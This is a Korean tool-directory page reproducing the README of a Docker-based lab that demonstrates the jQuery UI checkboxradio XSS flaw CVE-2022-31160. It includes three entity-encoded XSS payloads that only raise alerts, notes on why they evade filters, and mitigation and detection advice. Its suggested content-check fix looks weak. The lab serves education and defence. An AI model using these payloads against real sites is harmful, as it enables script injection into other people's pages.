Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
jquery-cve-2022-31160 — jquery XSS Proof of Concept (PoC) | Kitploit
도구/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCTFLearning & Education
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jquery XSS Proof of Concept (PoC)

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

jQuery UI CVE-2022-31160 취약점 데모

Security Badge jQuery UI CVE Docker

이 프로젝트는 위젯 새로고침(refresh) 작업 중 HTML 엔터티 디코딩을 허용하여 XSS(Cross-Site Scripting) 공격으로 이어질 수 있는 **jQuery UI Checkboxradio 위젯 새로고침 취약점(CVE-2022-31160)**을 시연합니다.

🚨 보안 경고

⚠️ 이 프로젝트에는 교육 및 연구 목적으로만 사용되는 실제 동작하는 XSS 페이로드가 포함되어 있습니다.

  • 프로덕션 시스템에서 사용하지 마십시오
  • 통제된 환경에서만 사용하십시오
  • 보안 연구 및 교육을 위한 목적입니다

📋 목차

  • 취약점 개요
  • 빠른 시작
  • 프로젝트 구조
  • 데모
  • 기술 세부 사항
  • Docker 사용법
  • 보안 분석
  • 완화 조치
  • 기여

🔍 취약점 개요

CVE-2022-31160 세부 정보

  • 구성 요소: jQuery UI Checkboxradio 위젯
  • 영향받는 버전: jQuery UI ≤ 1.13.1
  • 취약점 유형: HTML 엔터티 디코딩을 통한 XSS(Cross-Site Scripting)
  • CVSS 점수: 6.1 (중간)
  • 최초 게시일: 2022년 7월 20일

근본 원인

label 내부에 포함된 input에 checkboxradio 위젯이 초기화된 상태에서 위젯에 .checkboxradio("refresh")를 호출하면 label 콘텐츠의 HTML 엔터티가 잘못 디코딩됩니다. 이로 인해 안전하게 인코딩된 악성 콘텐츠가 실행 가능한 JavaScript로 변환될 수 있습니다.

공격 벡터

root@kitploit:~
<!-- Safe encoded content -->
<label for="checkbox">
  Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
  Text 
  <input type="checkbox" id="checkbox">
</label>

🚀 빠른 시작

사전 요구 사항

  • 시스템에 Docker 설치
  • 개발자 도구가 있는 웹 브라우저
  • 웹 보안 개념에 대한 기본적인 이해

빌드 및 실행

root@kitploit:~
# Clone or navigate to the project directory
cd jquery-cve-2022-31160

# Build the Docker image
docker build -t jquery-cve-2022-31160 .

# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160

데모 접속

컨테이너가 실행 중이면 다음에 접속하십시오:

  • 간소화된 설문 데모: http://localhost:3000/survey
  • 대체 설문 URL: http://localhost:3000/simplified-survey

📁 프로젝트 구조

root@kitploit:~
jquery-cve-2022-31160/
├── README.md                    # This documentation
├── Dockerfile                   # Docker container configuration
├── package.json                 # Node.js dependencies
├── server.js                    # Express.js server
└── simplified-survey.html       # Survey-style demonstration

🎯 데모

1. 간소화된 설문 데모 (simplified-survey.html)

URL: http://localhost:3000/survey

  • 설문 스타일 인터페이스
  • 여러 취약점 시나리오
  • 향상된 시각적 피드백

기능:

  • 다양한 시나리오를 보여주는 4가지 체크박스 옵션:
    • 안전 옵션: 인코딩된 엔터티 없음 (대조군)
    • 네트워크 보안 XSS: &lt;img src=x onerror=&quot;...&quot;&gt; - 즉시 실행
    • 모바일 보안 XSS: &lt;details ontoggle=&quot;...&quot; open&gt; - 즉시 실행
    • 클라우드 보안 XSS: &lt;span onmouseover=&quot;...&quot;&gt; - 인터랙티브 실행

분석 도구:

  • 상세 콘솔 로깅
  • XSS 실행 알림
  • 단계별 취약점 추적

🔧 기술 세부 사항

취약점 메커니즘

  1. 위젯 초기화: jQuery UI가 checkboxradio 위젯을 생성
  2. HTML 엔터티 저장: 인코딩된 엔터티가 포함된 label 콘텐츠가 처리됨
  3. 새로고침 트리거: .checkboxradio("refresh") 호출
  4. 엔터티 디코딩: jQuery UI가 HTML 엔터티를 잘못 디코딩
  5. XSS 실행: 디코딩된 악성 콘텐츠가 실행 가능해짐

영향받는 코드 경로

root@kitploit:~
// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability

테스트 페이로드

데모에는 다양한 XSS 실행 방법을 테스트하기 위한 여러 페이로드가 포함되어 있습니다:

root@kitploit:~
<!-- Network Security: Error event XSS (Immediate execution) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Cloud Security: Interactive XSS (User interaction required) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;

XSS 실행 방법

1. 오류 이벤트 핸들러 (onerror)

  • 트리거: 요소가 DOM에 삽입될 때 즉시
  • 신뢰성: 매우 높음 (src=x로 항상 실패)
  • 사용 사례: 즉시 XSS 실행을 시연
  • 실전 위험도: 높음 - 일반적으로 입력 필터를 우회

2. Details 토글 이벤트 핸들러 (ontoggle)

  • 트리거: details 요소의 열림/닫힘 상태가 변경될 때
  • 신뢰성: 매우 높음 (open 속성으로 트리거 보장)
  • 사용 사례: DOM 삽입 시 즉시 실행
  • 실전 위험도: 높음 - 크로스 브라우저에서 안정적으로 실행

3. 마우스 이벤트 핸들러 (onmouseover)

  • 트리거: 사용자 상호작용 필요 (호버)
  • 신뢰성: 사용자가 상호작용할 때 높음
  • 사용 사례: 사회 공학 시나리오
  • 실전 위험도: 중간 - 사용자 참여 필요

이러한 페이로드가 작동하는 이유

이벤트 핸들러의 장점:

  • innerHTML을 통해 요소가 삽입될 때 실행
  • <script> 태그 제한을 우회
  • 여러 브라우저에서 일관되게 작동
  • 외부 리소스 로드가 필요 없음
  • 상태 기반 트리거(예: ontoggle)는 매우 신뢰할 수 있음

인코딩 우회:

  • HTML 엔터티(&lt;, &quot;)가 jQuery UI 새로고침에 의해 디코딩됨
  • 안전하게 인코딩된 콘텐츠를 실행 가능한 코드로 변환
  • 실제 환경의 삭제(sanitization) 우회를 시연
  • 여러 실행 벡터가 공격 표면의 다양성을 보여줌

🐳 Docker 사용법

이미지 빌드

root@kitploit:~
docker build -t jquery-cve-2022-31160 .

컨테이너 실행

root@kitploit:~
# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160

# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

컨테이너 관리

root@kitploit:~
# List running containers
docker ps

# Stop the container
docker stop jquery-cve-2022-31160

# Remove the container
docker rm jquery-cve-2022-31160

# Remove the image
docker rmi jquery-cve-2022-31160

🔬 보안 분석

영향 평가

  • 심각도: 중간 (CVSS 6.1)
  • 공격 복잡성: 낮음
  • 사용자 상호작용: 필요 (페이지 상호작용)
  • 범위: 변경 없음 (동일 출처)
  • 기밀성: 낮은 영향
  • 무결성: 낮은 영향
  • 가용성: 없음

실전 시나리오

이 취약점은 다음 조건을 충족하는 애플리케이션에서 악용될 수 있습니다:

  1. jQuery UI checkboxradio 위젯을 사용하는 경우
  2. label에 사용자 생성 콘텐츠를 허용하는 경우
  3. HTML 엔터티 인코딩을 사용해 콘텐츠를 삭제(sanitize)하는 경우
  4. 프로그래밍 방식으로 위젯을 새로고침하는 경우

탐지 방법

  • 정적 분석: .checkboxradio("refresh") 호출 검색
  • 동적 분석: 위젯 작업 중 HTML 콘텐츠 변경 모니터링
  • 자동화 스캔: DOM 기반 XSS를 탐지할 수 있는 도구 사용
  • 수동 테스트: 인코딩된 페이로드로 위젯 새로고침 테스트

🛡️ 완화 조치

즉시 조치

  1. jQuery UI 업데이트: 버전 1.13.2 이상으로 업그레이드
  2. 입력 검증: 적절한 서버 측 검증 구현
  3. 콘텐츠 보안 정책: 제한적인 CSP 헤더 배포
  4. 출력 인코딩: 컨텍스트에 맞는 출력 인코딩 사용

코드 수정

root@kitploit:~
// Before refresh, sanitize or validate content
function safeRefresh(element) {
    // Validate label content before refresh
    const label = $(`label[for="${element.attr('id')}"]`);
    const content = label.html();
    
    // Check for potentially dangerous content
    if (content.includes('<') || content.includes('javascript:')) {
        console.warn('Potentially dangerous content detected');
        return;
    }
    
    element.checkboxradio("refresh");
}

보안 헤더

root@kitploit:~
// Express.js security headers
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-XSS-Protection', '1; mode=block');
    res.setHeader('Content-Security-Policy', "default-src 'self'");
    next();
});

📚 교육적 가치

이 프로젝트는 다음을 위한 교육 자료로 활용됩니다:

  • 보안 연구원: DOM 조작 취약점 이해
  • 웹 개발자: jQuery UI 보안 고려 사항 학습
  • 침투 테스터: 실전 XSS 공격 기법
  • 보안 학생: 직접 실습하는 취약점 분석

🔗 참고 자료

  • CVE-2022-31160 공식 항목
  • jQuery UI 보안 권고
  • OWASP XSS 방지 치트 시트
  • CWE-79: 사이트 간 스크립팅

📈 테스트 체크리스트

이 데모를 사용할 때:

사전 테스트 설정:

  • jQuery UI 버전 확인 (1.13.0이어야 함)
  • 개발자 도구를 연 상태에서 테스트 (F12)
  • http://localhost:3000/survey에서 설문 접속
  • 콘솔에서 초기화 메시지 확인

취약점 테스트:

  • "🔄 Refresh Widgets" 버튼 클릭
  • 네트워크 보안 옵션: 즉시 alert 실행 확인
  • 모바일 보안 옵션: 즉시 alert 실행 확인
  • 클라우드 보안 옵션: "[Hover to trigger]" 텍스트에 마우스 호버
  • 콘솔에서 상세 취약점 로깅 확인

분석 검증:

  • XSS 페이로드 실행 검증 (3가지 유형)
  • 위젯 재설정 기능 테스트
  • 체크박스 시각적 피드백이 올바르게 작동하는지 확인

🤝 기여

기여를 환영합니다! 다음 절차를 따르세요:

  1. 저장소를 포크(Fork)하세요
  2. 기능 브랜치를 생성하세요
  3. 변경 사항을 작성하세요
  4. 적절한 문서를 추가하세요
  5. 풀 리퀘스트(Pull Request)를 제출하세요

개선 영역

  • 추가 페이로드 예시
  • 더 상세한 분석 도구
  • 향상된 시각적 데모

⚖️ 법적 고지

이 소프트웨어는 교육 및 연구 목적으로만 제공됩니다. 작성자와 기여자는:

  • 이 소프트웨어의 어떠한 오용에도 책임을 지지 않습니다
  • 악의적인 활동을 권장하거나 용납하지 않습니다
  • 승인된 테스트 환경에서만 사용할 것을 권장합니다
  • 책임 있는 공개(Responsible Disclosure) 관행을 따를 것을 권고합니다

📄 라이선스

이 프로젝트는 교육 목적으로 MIT 라이선스 하에 제공됩니다.


보안 연구 및 교육을 위해 제작됨 | 책임감 있게 사용하십시오 | 취약점은 적절한 경로로 신고하십시오

도구 다운로드